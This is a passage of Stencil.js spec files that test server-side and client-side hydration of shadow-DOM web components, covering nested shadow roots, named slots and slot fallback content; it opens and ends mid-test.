</mock:shadow-root>\n          </cmp-c>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('preserves all nodes', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return <slot>Shadow Content</slot>;\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>\n          A text node\n          <!-- a comment -->\n          <div>An element</div>\n          <!-- another comment -->\n          Another text node\n        </cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated\\\" s-id=\\\"1\\\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <!--o.0.2.-->\n        <!--o.0.4.-->\n        <!--o.0.6.-->\n        <!--o.0.7.-->\n        <slot-fb c-id=\\\"1.0.0.0\\\" hidden=\\\"\\\" s-sn=\\\"\\\">\n          <!--t.1.1.1.0-->\n          Shadow Content\n        </slot-fb>\n        <!--t.0.1-->\n        A text node\n        <!--c.0.2-->\n        <!-- a comment -->\n        <div c-id=\\\"0.4\\\" s-sn=\\\"\\\">\n          An element\n        </div>\n        <!--c.0.6-->\n        <!-- another comment -->\n        <!--t.0.7-->\n        Another text node\n      </cmp-a>  \n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\\\"hydrated\\\">\n        <mock:shadow-root>\n          <slot>\n            Shadow Content\n          </slot>\n        </mock:shadow-root>\n        A text node\n        <!-- a comment -->\n        <div>\n          An element\n        </div>\n        <!-- another comment -->\n        Another text node\n      </cmp-a>  \n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-shadow-in-shadow.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate, shadow in shadow', () => {\n  it('nested cmp-b w/ shadow/slot, root level text', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>\n              <slot></slot>\n            </cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a>light-dom</cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <!--s.2.0.0.0.-->\n          <!--s.1.1.1.0.-->\n          <!--t.0.1-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <cmp-b class=\"hydrated\">\n            <mock:shadow-root>\n              <slot></slot>\n            </mock:shadow-root>\n            <slot></slot>\n          </cmp-b>\n        </mock:shadow-root>\n        light-dom\n      </cmp-a>\n    `);\n    expect(clientHydrated.root).toEqualLightHtml(`\n      <cmp-a class=\"hydrated\">\n        light-dom\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, text slot', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <!--s.2.0.0.0.-->\n          <!--t.1.1.1.0-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <cmp-b class=\"hydrated\">\n            <mock:shadow-root>\n              <slot></slot>\n            </mock:shadow-root>\n            light-dom\n          </cmp-b>\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow element header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow text header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            shadow-header\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--t.2.0.0.0-->\n          shadow-header\n          <!--s.2.1.0.1.-->\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            shadow-header\n            <slot></slot>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested shadow, text slot, header', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n          </mock:shadow-root>\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b w/ shadow, shadow header text, shadow footer elm w/ text', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b></cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            shadow-header\n            <footer>shadow-footer</footer>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--t.2.0.0.0-->shadow-header\n          <footer c-id=\"2.1.0.1\">\n            <!--t.2.2.1.0-->shadow-footer\n          </footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            shadow-header\n            <footer>\n              shadow-footer\n            </footer>\n          </mock:shadow-root>\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('nested, text slot, header/footer', async () => {\n    @Component({ tag: 'cmp-a' })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b', shadow: true })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <header></header>\n            <slot></slot>\n            <footer></footer>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <header c-id=\"2.0.0.0\"></header>\n          <!--s.2.1.0.1.-->\n          <!--t.1.1.1.0-->light-dom\n          <footer c-id=\"2.2.0.2\"></footer>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <header></header>\n            <slot></slot>\n            <footer></footer>\n          </mock:shadow-root>\n          light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-shadow-parent.spec.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate, shadow parent', () => {\n  it('slot depth 1, text w/out vdom', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <div>\n              <slot></slot>\n            </div>\n          </Host>\n        );\n      }\n    }\n\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>middle</cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <div c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.-->\n          <!--t.0.1-->\n          middle\n        </div>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <div>\n            <slot></slot>\n          </div>\n        </mock:shadow-root>\n        middle\n      </cmp-a>\n    `);\n  });\n\n  it('slot, text w/out vdom', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            top\n            <slot></slot>\n            bottom\n          </Host>\n        );\n      }\n    }\n\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>middle</cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <!--t.1.0.0.0-->\n        top\n        <!--s.1.1.0.1.-->\n        <!--t.0.1-->\n        middle\n        <!--t.1.2.0.2-->\n        bottom\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          top\n          <slot></slot>\n          bottom\n        </mock:shadow-root>\n        middle\n      </cmp-a>\n    `);\n  });\n\n  it('no slot, child shadow text', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return <Host>shadow-text</Host>;\n      }\n    }\n\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--t.1.0.0.0-->\n        shadow-text\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          shadow-text\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n  });\n\n  it('named slot and slot depth 1', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <div>\n              <slot></slot>\n            </div>\n            <slot name=\"fixed\"></slot>\n          </Host>\n        );\n      }\n    }\n\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a></cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <div c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.-->\n        </div>\n        <!--s.1.2.0.1.fixed-->\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n    expect(clientHydrated.root['s-id']).toBe('1');\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <div>\n            <slot></slot>\n          </div>\n          <slot name=\"fixed\"></slot>\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n  });\n\n  it('nested cmp-b, parent text light-dom slot', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <cmp-b>cmp-a-light-dom</cmp-b>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\" c-id=\"1.0.0.0\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1-->\n          <!--s.2.0.0.0.-->\n          <!--t.1.1.1.0-->\n          cmp-a-light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <cmp-b class=\"hydrated\">\n            <!--r.2-->\n            <!--s.2.0.0.0.-->\n            cmp-a-light-dom\n          </cmp-b>\n        </mock:shadow-root>\n      </cmp-a>\n    `);\n    expect(clientHydrated.root).toEqualLightHtml(`\n      <cmp-a class=\"hydrated\"></cmp-a>\n    `);\n  });\n\n  it('nested text, complicated slots', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return (\n          <Host>\n            <section>\n              <slot name=\"start\"></slot>\n              <slot name=\"secondary\"></slot>\n              <div>\n                <slot></slot>\n              </div>\n              <slot name=\"primary\"></slot>\n              <slot name=\"end\"></slot>\n            </section>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>\n          Title\n        </cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <section c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.start-->\n          <!--s.1.2.1.1.secondary-->\n          <div c-id=\"1.3.1.2\">\n            <!--s.1.4.2.0.-->\n            <!--t.0.1-->\n            Title\n          </div>\n          <!--s.1.5.1.3.primary-->\n          <!--s.1.6.1.4.end-->\n        </section>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <section>\n            <slot name=\"start\"></slot>\n            <slot name=\"secondary\"></slot>\n            <div>\n              <slot></slot>\n            </div>\n            <slot name=\"primary\"></slot>\n            <slot name=\"end\"></slot>\n          </section>\n        </mock:shadow-root>\n        Title\n      </cmp-a>\n    `);\n    expect(clientHydrated.root).toEqualLightHtml(`\n    <cmp-a class=\"hydrated\">\n      Title\n    </cmp-a>\n  `);\n  });\n\n  it('root level component, nested shadow slot', async () => {\n    @Component({ tag: 'ion-tab-button', shadow: true })\n    class TabButton {\n      render() {\n        return (\n          <Host>\n            <a>\n              <slot></slot>\n              <ion-ripple-effect></ion-ripple-effect>\n            </a>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'ion-badge', shadow: true })\n    class Badge {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    @Component({ tag: 'ion-ripple-effect', shadow: true })\n    class RippleEffect {\n      render() {\n        return <Host></Host>;\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [Badge, RippleEffect, TabButton],\n      html: `\n        <ion-tab-button>\n          <ion-badge>root-text</ion-badge>\n        </ion-tab-button>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <ion-tab-button class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.2.-->\n        <a c-id=\"1.0.0.0\">\n          <!--s.1.1.1.0.-->\n          <ion-badge class=\"hydrated\" c-id=\"0.2\" s-id=\"2\" s-sn=\"\">\n            <!--r.2-->\n            <!--o.0.4.-->\n            <!--s.2.0.0.0.-->\n            <!--t.0.4-->\n            root-text\n          </ion-badge>\n          <ion-ripple-effect class=\"hydrated\" c-id=\"1.2.1.1\" s-id=\"3\">\n            <!--r.3-->\n          </ion-ripple-effect>\n        </a>\n      </ion-tab-button>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [Badge, RippleEffect, TabButton],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <ion-tab-button class=\"hydrated\">\n        <mock:shadow-root>\n          <a>\n            <slot></slot>\n            <ion-ripple-effect class=\"hydrated\">\n              <mock:shadow-root>\n              </mock:shadow-root>\n            </ion-ripple-effect>\n          </a>\n        </mock:shadow-root>\n        <ion-badge class=\"hydrated\">\n          <mock:shadow-root>\n            <slot></slot>\n          </mock:shadow-root>\n          root-text\n        </ion-badge>\n      </ion-tab-button>\n    `);\n  });\n\n  it('nested cmp-b, parent slot', async () => {\n    @Component({ tag: 'cmp-a', shadow: true })\n    class CmpA {\n      render() {\n        return <slot></slot>;\n      }\n    }\n    @Component({ tag: 'cmp-b' })\n    class CmpB {\n      render() {\n        return (\n          <Host>\n            <slot></slot>\n          </Host>\n        );\n      }\n    }\n    // @ts-ignore\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a><cmp-b>cmp-a-light-dom</cmp-b></cmp-a>`,\n      hydrateServerSide: true,\n    });\n\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.1.-->\n        <!--s.1.0.0.0.-->\n        <cmp-b class=\"hydrated\" c-id=\"0.1\" s-id=\"2\" s-sn=\"\">\n          <!--r.2-->\n          <!--o.0.2-->\n          <!--s.2.0.0.0.-->\n          <!--t.0.2-->\n          cmp-a-light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    // @ts-ignore\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n            <slot></slot>\n        </mock:shadow-root>\n        <cmp-b class=\"hydrated\">\n          <!--r.2-->\n          <!--s.2.0.0.0.-->\n          cmp-a-light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    expect(clientHydrated.root).toEqualLightHtml(`\n      <cmp-a class=\"hydrated\">\n        <cmp-b class=\"hydrated\">\n            <!--r.2-->\n            <!--s.2.0.0.0.-->\n            cmp-a-light-dom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-shadow.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate, shadow', () => {\n  it('light dom parent, nested shadow slot', async () => {\n    @Component({\n      tag: 'cmp-a',\n    })\n    class CmpA {\n      render() {\n        return <cmp-b>CmpALightDom</cmp-b>;\n      }\n    }\n\n    @Component({\n      tag: 'cmp-b',\n      shadow: true,\n    })\n    class CmpB {\n      render() {\n        return (\n          <article>\n            <slot></slot>\n          </article>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <cmp-b c-id=\"1.0.0.0\" class=\"hydrated\" s-id=\"2\">\n          <!--r.2-->\n          <!--o.1.1.-->\n          <article c-id=\"2.0.0.0\">\n            <!--s.2.1.1.0.-->\n            <!--t.1.1.1.0-->\n            CmpALightDom\n          </article>\n        </cmp-b>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA, CmpB],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <!--r.1-->\n        <cmp-b class=\"hydrated\">\n          <mock:shadow-root>\n            <article>\n              <slot></slot>\n            </article>\n          </mock:shadow-root>\n          CmpALightDom\n        </cmp-b>\n      </cmp-a>\n    `);\n  });\n\n  it('light dom content, shadow slot', async () => {\n    @Component({\n      tag: 'cmp-a',\n      shadow: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <section>\n              <header>\n                ShadowDom\n                <svg></svg>\n              </header>\n              <div>\n                <slot></slot>\n              </div>\n            </section>\n          </article>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `\n        <cmp-a>\n          <div>\n            <img>\n            <p>LightDom1</p>\n            <docs-button>\n              <a>LightDom2</a>\n            </docs-button>\n          </div>\n        </cmp-a>\n      `,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <!--o.0.2.-->\n        <article c-id=\"1.0.0.0\">\n          <section c-id=\"1.1.1.0\">\n            <header c-id=\"1.2.2.0\">\n              <!--t.1.3.3.0-->\n              ShadowDom\n              <svg c-id=\"1.4.3.1\"></svg>\n            </header>\n            <div c-id=\"1.5.2.1\">\n              <!--s.1.6.3.0.-->\n              <div c-id=\"0.2\" s-sn=\"\">\n                <img>\n                <p>\n                  LightDom1\n                </p>\n                <docs-button>\n                  <a>\n                    LightDom2\n                  </a>\n                </docs-button>\n              </div>\n            </div>\n          </section>\n        </article>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\">\n        <mock:shadow-root>\n          <article>\n            <section>\n              <header>\n                ShadowDom\n                <svg></svg>\n              </header>\n              <div>\n                <slot></slot>\n              </div>\n            </section>\n          </article>\n        </mock:shadow-root>\n        <div>\n          <img>\n          <p>\n            LightDom1\n          </p>\n          <docs-button>\n            <a>\n              LightDom2\n            </a>\n          </docs-button>\n        </div>\n      </cmp-a>\n    `);\n  });\n});\n"
  },
  {
    "path": "src/runtime/test/hydrate-slot-fallback.spec.tsx",
    "content": "import { Component, h } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('hydrate, slot fallback', () => {\n  it('shows slot fallback content in a `scoped: true` parent', async () => {\n    @Component({\n      tag: 'cmp-a',\n      scoped: true,\n    })\n    class CmpA {\n      render() {\n        return (\n          <article>\n            <slot>\n              Fallback text - should not be hidden\n              <strong>Fallback element</strong>\n            </slot>\n          </article>\n        );\n      }\n    }\n\n    const serverHydrated = await newSpecPage({\n      components: [CmpA],\n      html: `<cmp-a></cmp-a>`,\n      hydrateServerSide: true,\n    });\n    expect(serverHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated\" s-id=\"1\">\n        <!--r.1-->\n        <article c-id=\"1.0.0.0\">\n          <slot-fb c-id=\"1.1.1.0\" s-sn=\"\">\n            <!--t.1.2.2.0-->\n            Fallback text - should not be hidden\n            <strong c-id=\"1.3.2.1\">\n              <!--t.1.4.3.0-->\n              Fallback element\n            </strong>\n          </slot-fb>\n        </article>\n      </cmp-a>\n    `);\n\n    const clientHydrated = await newSpecPage({\n      components: [CmpA],\n      html: serverHydrated.root.outerHTML,\n      hydrateClientSide: true,\n    });\n\n    expect(clientHydrated.root).toEqualHtml(`\n      <cmp-a class=\"hydrated sc-cmp-a-h\">\n        <!--r.1-->\n        <article class=\"sc-cmp-a sc-cmp-a-s\">\n          <slot-fb class=\"sc-cmp-a\">\n            